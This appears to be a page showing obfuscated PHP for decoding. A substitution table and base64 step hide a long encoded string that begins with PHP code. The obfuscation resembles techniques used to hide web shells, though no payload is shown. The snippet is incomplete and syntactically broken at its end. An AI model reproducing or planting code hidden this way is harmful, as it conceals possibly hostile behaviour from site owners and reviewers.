PHP Decode

<?php 
$vJ0XCOO = Array('1'=>'m', '0'=>'F', '3'=>'S', '2'=>'O', '5'=>'B', '4'=>'Z', '7'=>'5', '6'=>'j', '9'=>'T', '8'=>'C', 'A'=>'r', 'C'=>'X', 'B'=>'H', 'E'=>'W', 'D'=>'v', 'G'=>'Q', 'F'=>'l', 'I'=>'M', 'H'=>'w', 'K'=>'D', 'J'=>'7', 'M'=>'q', 'L'=>'b', 'O'=>'0', 'N'=>'N', 'Q'=>'G', 'P'=>'4', 'S'=>'n', 'R'=>'J', 'U'=>'f', 'T'=>'p', 'W'=>'g', 'V'=>'8', 'Y'=>'u', 'X'=>'o', 'Z'=>'e', 'a'=>'i', 'c'=>'1', 'b'=>'Y', 'e'=>'P', 'd'=>'c', 'g'=>'a', 'f'=>'h', 'i'=>'V', 'h'=>'s', 'k'=>'z', 'j'=>'d', 'm'=>'U', 'l'=>'9', 'o'=>'R', 'n'=>'t', 'q'=>'I', 'p'=>'L', 's'=>'A', 'r'=>'K', 'u'=>'6', 't'=>'E', 'w'=>'k', 'v'=>'3', 'y'=>'x', 'x'=>'y', 'z'=>'2'); 
function vGGDUMY($vMYZBYV, $vRNXFY0){$vVSCG3D = ''; for($i=0; $i < strlen($vMYZBYV); $i++){$vVSCG3D .= isset($vRNXFY0[$vMYZBYV[$i]]) ? $vRNXFY0[$vMYZBYV[$i]] : $vMYZBYV[$i];} 
return base64_decode($vVSCG3D);} 
$v1MVLPH = '81F1rQFkdziOr8oUmtl9i0habzlw43Rjr3s1Ra5TdvNFj8WwCc5emcoLq1NcdvoDLilfbvoTLzPaC3wWRabWgCNU4zlD40lTd'. 
'8WwCcN0mF40mFhSmwiN9co0CO0to0qSC3wT8Shr8EizbEHXb10k49bOCzoFbzlw43WwCc5em'. 
'coLq1ND4QmaC3wT2HXR4CfTj8WT2HTl8WTT4asXgCNk4CGXR0lG9cNmE'. 
'xROZC5FqFOTq8b1q8oUmtl9i0hajBFH43Rje9OaI3qT8Shr8Co7dQmyCvNFL1GXr9hr8EiPgCGXr9hrUGTFLBN'. 
'FgEbWrQFkdziOr8oUmtl9i0hajBFH43Rjr3s1RaswCc5emcoLqSo7d'. 
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'HXR4CfTj8WT2HTl8WTFdSRDdFVOIKGXr9hr814cL1NOgElYqQFkCzjDLzoUgCsXR'. 
'QFHrGTJ8Www4zlD4BIWe355dSRfZ3WaNaPy2KmYI6I7paqhq8qPp6tk28PyI9WYqawJ8Wwr8E4Dd1ifbzWWr8o'. 
'SLzlwdx5fdxsw4zlD48wr8Chr8GFT4asXdvoxdvoxr8oTd8HWRQjDLzGTq8tlqt4590N0rGXR8Chr8GwRd1iOjCRYq0o3imm'. 
'J8WwRUGXRUGXR8WFx4Cocd1PWow0ImOmJ8SOr814cL1NOgElYqBo7dQmyCvN'. 
'FL1GXrGTJ8WFT4aWfgCNk4CGXR0lG9cNmExRFLE0TLBIaC3wr8GwR9cqWqEFkdziO'. 
'r8oUmtl9i0hajQfFLEikqFOT8WwR8ml3q80TdvNFj8WwCc5emcoLq1cFdvNf4zikqFOT8WwR8ml'. 
'3q80TdvNFj8WwCc5emcoLq14xLzckqFOT8WwR8ml3q80TdvNFj8WwCc5emcoLq1cfgEyFdSIaC3wr'. 
'83wr8Chr8GFFZQFOr8wJ8WFl8WXRgEbX4ziOCzcf4zF6Cv0cLvoFdclSdQIXr3wr8Chr8GF1LvRFbENXr8oUmtl9i85fdxs'. 
'wgzi7qKO+q8oHLvNOrGXR8Chr8GwRR0lG9cNmExoA4CFjqKOWdvoxgC'. 
'56dzyfdzfFdxWwdQlkj8wJ8WwRUGXRUGXr83oFLE0TLBIWe35sjE7k4CRTbEyTZ1m'. 
'Xb10k49bOCzoFbzlw43WwCc5emcoLq1inbEFhdxRjr3wJ8WwwjQfFLEikqKOWGBiYdzixgE0hgCTFrQRfdzm'. 
'zN0lw4END4QmXR0lG9cNmExROgQin4CIaC3wT2HXRRQcFdvNf4z'. 
'ikqKOWGBiYdzixgE0hgCTFrQRfdzmzN0lw4END4QmXR0lG9cNmExRn4CNkbEjFdxRjr3wJ8Www4SRDLCIWe3'. 
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'9hr83onbEFh4CRkqKOWGBiYdzixgE0hgCTFrQRfdzmzN0lw4END4QmXR0lG9cNmExRnbEFh4'. 
'CRkqFOTr9hr83ofLQFfdzikqKOWGBiYdzixgE0hgCTFrQRfdzmzN0lw4END4QmXR0lG9cNmExRfLQFfdzikqFOT'. 
'r9hr83oHbCNk4CIWe35sjE7k4CRTbEyTZ1mXb10k49bOCzoFbzlw43WwCc5emcoLqS5fdvNFdxRjr3wJ8WXRgEb'. 
'XgCNk4CGXR0l9oiREoiqTrGXRZHXR83oUmOi3iwi3ExjG305UmOiIoajjqKOWqaVa2xsr8GwwCcN0mF40'. 
'mFhSmwiN9co0CO0to0qSC3slq8qyI6dYI8PHp6ta2HXR8EF1r80FL'. 
'C5OZ3WwCcN0mF40mFhS30omm0lbCO4emFj5mwo0o0lQ9cqSC3wT8WwRZHXR8GwwCcN0'. 
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'9r3wr8Chr8GF1LvRFbENXr8oUowFIoiIWbCIWRQnFZ3sleasw41Fh4'. ?>